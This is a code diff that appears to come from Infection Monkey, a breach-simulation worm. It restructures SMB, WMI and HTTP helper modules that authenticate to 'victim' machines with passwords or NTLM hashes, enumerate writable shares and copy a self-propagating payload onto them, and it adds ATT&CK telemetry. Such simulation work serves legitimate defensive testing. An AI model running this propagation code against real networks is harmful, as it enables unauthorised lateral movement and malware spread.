if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif 'windows-32' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif 'windows-64' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen.")
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey")
|
||||
return False
|
|
@ -0,0 +1,62 @@
|
|||
import logging
|
||||
import os
|
||||
import os.path
|
||||
import urllib
|
||||
from threading import Lock
|
||||
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
return None, None
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
:param src_path: Monkey's path on current system
|
||||
:param local_ip: IP where to host server
|
||||
:param local_port: Port at which to host monkey's download
|
||||
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||
"""
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
|
@ -0,0 +1,216 @@
|
|||
import logging
|
||||
import ntpath
|
||||
import pprint
|
||||
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||
|
||||
import infection_monkey.config
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SmbTools(object):
|
||||
|
||||
@staticmethod
|
||||
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
config = infection_monkey.config.WormConfiguration
|
||||
src_file_size = monkeyfs.getsize(src_path)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
|
||||
" LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
|
||||
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
|
||||
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
|
||||
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
|
||||
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
|
||||
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s",
|
||||
host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
|
||||
|
||||
high_priority_shares = ()
|
||||
low_priority_shares = ()
|
||||
file_name = ntpath.split(dst_path)[-1]
|
||||
|
||||
for i in range(len(resp)):
|
||||
share_name = resp[i]['shi2_netname'].strip("\0 ")
|
||||
share_path = resp[i]['shi2_path'].strip("\0 ")
|
||||
current_uses = resp[i]['shi2_current_uses']
|
||||
max_uses = resp[i]['shi2_max_uses']
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name, host)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name, host)
|
||||
continue
|
||||
|
||||
share_info = {'share_name': share_name,
|
||||
'share_path': share_path}
|
||||
|
||||
if dst_path.lower().startswith(share_path.lower()):
|
||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
||||
|
||||
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||
|
||||
shares = high_priority_shares + low_priority_shares
|
||||
|
||||
file_uploaded = False
|
||||
for remote_path, share in shares:
|
||||
share_name = share['share_name']
|
||||
share_path = share['share_path']
|
||||
|
||||
if not smb:
|
||||
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
try:
|
||||
tid = smb.connectTree(share_name)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
|
||||
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name, share_path, remote_path, host.ip_addr[0], )
|
||||
|
||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
# check if file is found on destination
|
||||
if config.skip_exploit_if_file_exist:
|
||||
try:
|
||||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
return remote_full_path
|
||||
|
||||
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
||||
except:
|
||||
pass # file isn't found on remote victim, moving on
|
||||
|
||||
try:
|
||||
with monkeyfs.open(src_path, 'rb') as source_file:
|
||||
# make sure of the timeout
|
||||
smb.setTimeout(timeout)
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
|
||||
file_uploaded = True
|
||||
T1105Telem(ScanStatus.USED, host.ip_addr[0], dst_path).send()
|
||||
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path, share_name, share_path, host)
|
||||
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
T1105Telem(ScanStatus.SCANNED, host.ip_addr[0], dst_path).send()
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug("Couldn't find a writable share for exploiting"
|
||||
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
return None
|
||||
|
||||
return remote_full_path
|
||||
|
||||
@staticmethod
|
||||
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||
" trying port 139 (%s)", host, exc)
|
||||
|
||||
try:
|
||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||
host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {SMB_DIALECT: "SMBv1",
|
||||
SMB2_DIALECT_002: "SMBv2.0",
|
||||
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
|
||||
|
||||
# we know this should work because the WMI connection worked
|
||||
try:
|
||||
smb.login(username, password, '', lm_hash, ntlm_hash)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
|
||||
host, username, password, lm_hash, ntlm_hash, exc)
|
||||
return None, dialect
|
||||
|
||||
smb.setTimeout(timeout)
|
||||
return smb, dialect
|
||||
|
||||
@staticmethod
|
||||
def execute_rpc_call(smb, rpc_func, *args):
|
||||
dce = SmbTools.get_dce_bind(smb)
|
||||
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
||||
if not rpc_method_wrapper:
|
||||
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
|
||||
|
||||
return rpc_method_wrapper(dce, *args)
|
||||
|
||||
@staticmethod
|
||||
def get_dce_bind(smb):
|
||||
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
|
||||
smb.getRemoteHost(),
|
||||
filename=r'\srvsvc',
|
||||
smb_connection=smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
return dce
|
|
@ -0,0 +1,150 @@
|
|||
import logging
|
||||
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DceRpcException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
def __init__(self, host, username, password, domain):
|
||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||
(host, domain, username, password))
|
||||
|
||||
|
||||
class WmiTools(object):
|
||||
class WmiConnection(object):
|
||||
def __init__(self):
|
||||
self._dcom = None
|
||||
self._iWbemServices = None
|
||||
|
||||
@property
|
||||
def connected(self):
|
||||
return self._dcom is not None
|
||||
|
||||
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
|
||||
if not domain:
|
||||
domain = host.ip_addr
|
||||
|
||||
dcom = DCOMConnection(host.ip_addr,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||
wmi.IID_IWbemLevel1Login)
|
||||
except Exception as exc:
|
||||
dcom.disconnect()
|
||||
|
||||
if "rpc_s_access_denied" == exc.message:
|
||||
raise AccessDeniedException(host, username, password, domain)
|
||||
|
||||
raise
|
||||
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
|
||||
try:
|
||||
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
self._dcom = dcom
|
||||
except:
|
||||
dcom.disconnect()
|
||||
|
||||
raise
|
||||
finally:
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
def close(self):
|
||||
assert self.connected, "WmiConnection isn't connected"
|
||||
|
||||
self._iWbemServices.RemRelease()
|
||||
self._iWbemServices = None
|
||||
|
||||
self._dcom.disconnect()
|
||||
self._dcom = None
|
||||
|
||||
@staticmethod
|
||||
def dcom_wrap(func):
|
||||
def _wrapper(*args, **kwarg):
|
||||
try:
|
||||
return func(*args, **kwarg)
|
||||
finally:
|
||||
WmiTools.dcom_cleanup()
|
||||
|
||||
return _wrapper
|
||||
|
||||
@staticmethod
|
||||
def dcom_cleanup():
|
||||
for port_map in DCOMConnection.PORTMAPS.keys():
|
||||
del DCOMConnection.PORTMAPS[port_map]
|
||||
for oid_set in DCOMConnection.OID_SET.keys():
|
||||
del DCOMConnection.OID_SET[port_map]
|
||||
|
||||
DCOMConnection.OID_SET = {}
|
||||
DCOMConnection.PORTMAPS = {}
|
||||
if DCOMConnection.PINGTIMER:
|
||||
DCOMConnection.PINGTIMER.cancel()
|
||||
DCOMConnection.PINGTIMER.join()
|
||||
DCOMConnection.PINGTIMER = None
|
||||
|
||||
@staticmethod
|
||||
def get_object(wmi_connection, object_name):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
return wmi_connection._iWbemServices.GetObject(object_name)[0]
|
||||
|
||||
@staticmethod
|
||||
def list_object(wmi_connection, object_name, fields=None, where=None):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
if fields:
|
||||
fields_query = ",".join(fields)
|
||||
else:
|
||||
fields_query = "*"
|
||||
|
||||
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
||||
|
||||
if where:
|
||||
wql_query += " WHERE %s" % (where,)
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
query = []
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
|
||||
record = next_item.getProperties()
|
||||
|
||||
if not fields:
|
||||
fields = record.keys()
|
||||
|
||||
query_record = {}
|
||||
for key in fields:
|
||||
query_record[key] = record[key]['value']
|
||||
|
||||
query.append(query_record)
|
||||
except DCERPCSessionError as exc:
|
||||
if 1 == exc.error_code:
|
||||
break
|
||||
|
||||
raise
|
||||
finally:
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
|
||||
return query
|
|
@ -7,8 +7,8 @@
|
|||
import socket
|
||||
import time
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
|
||||
from logging import getLogger
|
||||
|
||||
|
|
|
@ -5,7 +5,8 @@ from abc import abstractmethod
|
|||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.model import *
|
||||
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
|
|
|
@ -8,7 +8,8 @@
|
|||
from __future__ import print_function
|
||||
from requests import post, exceptions
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
import threading
|
||||
|
|
|
@ -14,11 +14,11 @@ from enum import IntEnum
|
|||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport
|
||||
|
||||
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from infection_monkey.network import SMBFinger
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from . import HostExploiter
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
|
|
@ -6,8 +6,11 @@ import traceback
|
|||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, \
|
||||
get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
||||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
|
|
|
@ -19,7 +19,7 @@ from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
|
|||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
|
|
@ -6,6 +6,9 @@ from infection_monkey.post_breach.pba import PBA
|
|||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -81,7 +84,13 @@ class UsersPBA(PBA):
|
|||
|
||||
if not pba_file_contents or not pba_file_contents.content:
|
||||
LOG.error("Island didn't respond with post breach file.")
|
||||
T1105Telem(ScanStatus.SCANNED,
|
||||
get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
|
||||
filename).send()
|
||||
return False
|
||||
T1105Telem(ScanStatus.USED,
|
||||
get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
|
||||
filename).send()
|
||||
try:
|
||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||
written_PBA_file.write(pba_file_contents.content)
|
||||
|
|
|
@ -0,0 +1,22 @@
|
|||
from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
|
||||
|
||||
|
||||
class T1105Telem(AttackTelem):
|
||||
def __init__(self, status, host, path):
|
||||
"""
|
||||
T1105 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param host: IP of machine which downloaded the file
|
||||
:param path: Uploaded file's path
|
||||
"""
|
||||
super(T1105Telem, self).__init__('T1105', status)
|
||||
self.path = path
|
||||
self.host = host
|
||||
|
||||
def get_data(self):
|
||||
data = super(T1105Telem, self).get_data()
|
||||
data.update({
|
||||
'path': self.path,
|
||||
'host': self.host
|
||||
})
|
||||
return data
|
|
@ -6,7 +6,6 @@ import threading
|
|||
import urllib
|
||||
from logging import getLogger
|
||||
from urlparse import urlsplit
|
||||
from threading import Lock
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||
|
@ -165,11 +164,15 @@ class HTTPServer(threading.Thread):
|
|||
|
||||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
filename = self._filename
|
||||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||
TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send()
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
return True
|
||||
|
@ -212,11 +215,14 @@ class LockedHTTPServer(threading.Thread):
|
|||
|
||||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
filename = self._filename
|
||||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||
TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send()
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
return True
|
||||
|
|
|
@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall
|
|||
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.transport.base import get_last_serve_time
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@ import time
|
|||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
|
||||
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
|
||||
from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
|
||||
|
||||
|
|
Loading…
Reference in New Issue